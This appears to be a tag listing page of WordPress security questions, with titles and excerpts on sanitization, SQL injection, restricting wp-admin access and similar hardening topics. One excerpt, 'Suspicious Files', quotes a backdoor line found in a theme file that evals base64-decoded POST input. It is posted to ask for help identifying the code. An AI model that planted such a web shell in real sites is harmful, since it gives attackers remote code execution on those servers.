Strengthening themes, plugins and core installation to prevent intrusion.

learn more… | top users | synonyms

1
vote
2answers
3k views

<?php echo $title ?> vs <?php echo esc_html( $title ); ?> Wordpress Security

Reading this great article Data Validation and Sanitization in Wordpress I've noticed that in my blog, in header.php, I used <?php echo $title ?> in a pair of codes. According to the above ...
1
vote
2answers
441 views

esc_html__ security : what for in this example?

how does esc_html__ (the 2nd one) protect the $message variable from being hacked ? what's the point to use this protection here (the second one with a plain text)? <?php function unknown(){ ...
1
vote
1answer
490 views

The 'https_local_ssl_verify' filter

I have run into some WordPress code which does POST requests to API sites and in the POST parameters for the SSL property it has $params = array( 'body' => $_POST, 'sslverify' => apply_filters('...
1
vote
1answer
1k views

Securing wp-config leads to sensitive information leak on wp-settings

I read the following tutorial, which mentions moving your config file out of an HTTP-accessible folder. http://codex.wordpress.org/Hardening_WordPress#Securing_wp-config.php I did this, and it works ...
1
vote
1answer
523 views

How Could I sanitize the receive data from this code

<form id="tellastory" method="post" action=""> <label for="fullname">Full Name </label> <input id="fullname" name="fullname" type="text" maxlength="255" value=""/> ...
1
vote
1answer
75 views

Should I Worry About SQL Injection When Using wp_insert_post?

I have created a form to insert posts via front-end to users. I use wp_insert_post function. Should I worry about SQL injection or Does wp_insert_post function handle it?
1
vote
2answers
103 views

Limit access to wp_admin

I'm attempting to limit access to wp_admin by IP address but I still have a few that are getting through. I have an htaccess file in my wp_admin folder with the following: # Block access to wp-admin. ...
1
vote
2answers
38 views

Assuming a theme is properly secured, how save is the WordPress admin?

Regarding point 3 in this (awesome) article on mikejolley.com. It states: Never trust user input, even that provided by admin users, because: You have no way of knowing the user is whom ...
1
vote
1answer
682 views

is_email() VS sanitize_email()

If I'm allowing a user to enter an email address to be saved into the database, should I use is_email() or sanitize_email()? Ex. update_user_meta( $user_id, $social_site, sanitize_email( $_POST[$...
1
vote
1answer
218 views

wp_insert_comment and security

I am using wp_insert_comment to offer an in-house better ajax conditional comments interface. i got it all working great. my only question is. What security measures should i take to make sure i ...
1
vote
2answers
2k views

Suspicious Files

Hi I found two suspicious files on my site: The first in my theme (404.php), with this line added <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> The second in /wp-...
1
vote
1answer
35 views

Restricting user login by IP address

I have a website that is login required in order for users to view the website. I have set up one user for all internal members to use to view the website, however i want to limit just that user to ...
1
vote
2answers
47 views

How to safely allow user upload on CPTs?

I have a form with a WP Media to allow user uploads for a custom post type on the front end. Every time I try to upload as a user I can the message You don't have permission to attach files to this ...
1
vote
1answer
48 views

<meta name=“generator” content=“WordPress 4.4.2” /> neccessary?

Hello fellow WordPressers Today, I realized that most WordPress sites have this small footprint saying: <meta name="generator" content="WordPress 4.4.2" /> where it indicates what "system" ...
1
vote
1answer
36 views

How Restrict access to admin dashboard by specific static ip?

i'm trying to restrict access to admin dashboard (wp-admin.php) by specific static ip so tried to add .htaccess to the wp-admin and set <FilesMatch "admin\.php$"> Order deny,allow Deny from ...
1
vote
2answers
91 views

Developing a secure front end post editing form

I want to add a front end post editing functionality to one of my Wordpress sites. I found a few plugins that do this, but they don't fits all my needs, so I decided to adapt an existing solution to ...
1
vote
2answers
167 views

Changing Table Prefix for an Existing WordPresss Site

Hoping someone can assist with Wordpress table prefix for an already established site. What is the best approach in changing the existing table prefix within both DB and wp-config file to reflect new ...
1
vote
2answers
3k views

Block access to wp-admin

I'm attempting to use a .htaccess file to block access to the wp-admin folder. I've read through the Brute Force Attacks doc (https://codex.wordpress.org/Brute_Force_Attacks) and I've added the block ...
1
vote
1answer
76 views

Registration Plugin - Recaptcha integration

Good Day Everyone, I'm currently writing a new plugin for Registration, I intend to actually share that Registration Plugin, but I would like to integrate reCaptcha into it. From what I understood ...
1
vote
1answer
298 views

Evaluations of two wordpress security plans against php code injection attack

Senario: I've posted one wordpress php code injection senario on SO before, url:http://stackoverflow.com/questions/26826082/what-is-the-highly-efficient-way-to-remove-a-block-of-string-pattern-in-php-...
1
vote
1answer
177 views

Form Post results in 404 Not Found [duplicate]

I am creating a POST-able form on the front-end of Wordpress (via a shortcode). If I submit this form without any input, the form submits fine. But as soon as I enter an data in the fields and POST ...
1
vote
2answers
367 views

Is Wordpress vulnerable to “comment posting forgery”?

I recently scanned my Wordpress site using 6scan's security scanning service. It reported a high severity vulnerability: "Wordpress comment posting forgery". Technical details from 6scan: The ...
1
vote
4answers
551 views

WP Cron doesn't save <iframe> or <object> in post body

I am using wp_cron to auto grab posts from a remote website and save them in my wp db. NOTICE! I am executing my code from my plugin, not from my template functions.php or somewhere else. I have my ...
1
vote
1answer
608 views

Wordpress Security - How to block alternative Wordpress access

I own a self-hosted Wordpress 3.5 blog. I'm working on its security and I'm trying to prevent non-writers from accessing anything admin-ish they shouldn't. Recently I tried Better Wordpress Security, ...
1
vote
2answers
72 views

What permissions should I give directories if I want to make WordPress more secure?

A follow up to a previous question found here How can I lock down an old wordpress install I don't intend to update? Same info still stands. WordPress install will (probably) not be updated. ...
1
vote
1answer
69 views

Protect HTML in Comment

In wordpress comments system, it work HTML. I want to protect inserting HTML in wordpress comment system.
1
vote
2answers
796 views

How can I make uploaded images in the editor load with HTTPS?

I have the admin section of my site using HTTPS. This works pretty well except that the images inside the TinyMCE editor (the post and page rich text editor) load with http instead of https and so I ...
1
vote
1answer
567 views

Protecting Wordpress login page

How can i do this: Whenever visitors open the login page (wp-login.php), they will be redirected to the mainpage. Only the admin (me) can view the page to login. I am doing this to protect my wp ...
1
vote
1answer
182 views

Using HTACCESS for Secret Access

I saw this post yesterday http://digwp.com/2011/01/simpler-login-url/ where a 'custom' word is used to direct the user from url.com/admin to url.com/wp-login.php and I'm asking (also did so in the ...
1
vote
1answer
44 views

Verify if user is wordpress logged in from another app since wordpress 4.0

I try to implement in my Node.js app a way to verify if the user cookie is valid. I've found some post in internet who explain me very well the things, but as i try to implement it, with the WordPress-...
1
vote
1answer
44 views

Using esc_url with a hard coded url

I've added following URL in my theme, but I have been informed that I must use esc_url(). I could not figure out, how can I use that function with following code? <a href="http://pinterest.com/pin/...
1
vote
1answer
26 views

Handling email piping attachments and detecting unsupported file types

I have a plugin that I am working on which uses Email Piping. When an email is processed I want all the attachments from the email to be added to the WordPress Media Library. Currently I am using ...
1
vote
2answers
771 views
+50

What is pclzip.lib.php file that wordfence think it's a malicious code

I have checked original wordpress and this file isn't there but this file comes back every time I deleted it. Do you think it's a malicious script? Path: /wp-admin/uploader/pclzip.lib.php Code: http:/...
1
vote
1answer
78 views

How to delete Passwrd Protected posts cookies when a user logged out from the site

I wanted to delete all the cookies set for password protected posts when user logged out from the site after going through those Password protected posts. Is there any function to do this?
1
vote
1answer
238 views

Moving away from MD5: Where to declare the custom global $wp_hasher?

I want to move away from using MD5 for hashing passwords in the database. The plan is to declare a custom global $wp_hasher as hinted at in the docs for wp hash password(): Unless the global $...
1
vote
2answers
46 views

Would it be dangerous to send all the wp_options to javascript file?

I've noticed that wordpress allows me to send the wordpress options to javascript via wp_localize_script: wp_localize_script( $this->plugin_slug . '-plugin-script', 'wp_options', ...
1
vote
1answer
438 views

How can I safely use $_SERVER['REQUEST_URI'] to avoid XSS?

I've seen a lot of warnings about using $_SERVER['REQUEST_URI'] because it can open things up to XSS, but I haven't been able to find anything confirming a safe way to use it. Some people have ...
1
vote
1answer
44 views

Restrict custom post type from appearing with ?post_types=

When appending the querystring post_types = "name of your post type", it displays all the posts. I am using a plugin that has its own custom post type which is restricted (only users that have ...
1
vote
1answer
134 views

Is there a way to create a URL (new WP page) that can only be accessed from a specific source?

To explain further, here's what I"m looking to do: Create a WP page Use the URL and implement it in a reader service that is hosted (not downloadable) that in order to read (& access the URL) ...
1
vote
2answers
48 views

Secure Pages Best Practice

I am in process of writing a plugin that has front-end shortcodes that display a user's information/data. If the user is not logged in, I need to redirect to a front-end login page/form. What would ...
1
vote
2answers
84 views

How to protect wp-admin through .htaccess?

I'd like to protect the /wp-admin/ directory at the server level. This means two logins. One through the server and another through WordPress. I believe this can be handled through .htaccess. Does ...
1
vote
3answers
769 views

Simple Online Payment for Event Registration [closed]

I am looking for a simple (and secure) way to accept payment for event registration. I am managing a Wordpress website for a organization that hosts events throughout the year. A handful of these ...
1
vote
3answers
5k views

Protecting HTML5 video [closed]

I shall explain my situation as best I can so you can see where i'm coming from. I'm working on a wordpress site for a sports team, there are loads of teams. We want to put coaching sessions on our ...
1
vote
1answer
8k views

Change WP-Login or WP-Admin

Can I change the name of the wp-login or wp-admin file so that I can go to a different filename in order to login. I am trying to prevent hackers from finding my login and wp-login has become a very ...
1
vote
1answer
65 views

Does WordPress validate inputs to all functions? (such as get_user_meta and insert_user_meta)

Does WordPress validate inputs made to all built-in functions that access the database to protect against SQL injection vulnerabilities or do we have to validate before passing them?
1
vote
1answer
291 views

Detect session/cookie variable in wordpress to prevent access to documents

<?php @session_start(); If (!array_key_exists(‘authed’, $_SESSION)) { include ‘not_authed.inc’; exit(); } // go about your business. ?> and i'm trying to add that to this: <?...
1
vote
2answers
149 views

What may be causing failure of auto-install features in Wordpress (v3.0.3)?

What may be causing the installation errors I continue to get when trying to auto update anything in Wordpress? I've been manually upgrading everything for quite some time, and I've tried all sorts ...
1
vote
2answers
1k views

Best practices for securing a Buddypress installation?

A client of mine runs a Buddypress-based site (BP 1.2.6 on WP 3.0.2). We'd like to give users the ability to publish blogs of their own, but we don't want them to be able to execute PHP code (we make ...
1
vote
2answers
115 views

Upgraded to latest version - 3.0.3 and Now I get a “sufficient permissions to access this page” error

The issue appeared immediately after upgrade. The only part of the application impacted is the sub-menu items under settings where it relates to a plug-in. The core application settings work, just ...
1
vote
1answer
24 views

ajax nonce verification failing

I have a voting system where a list of posts are printed out using an archive template. Each post's voting button has html data attributes containing the vote-id and the vote-nonce. When the voting ...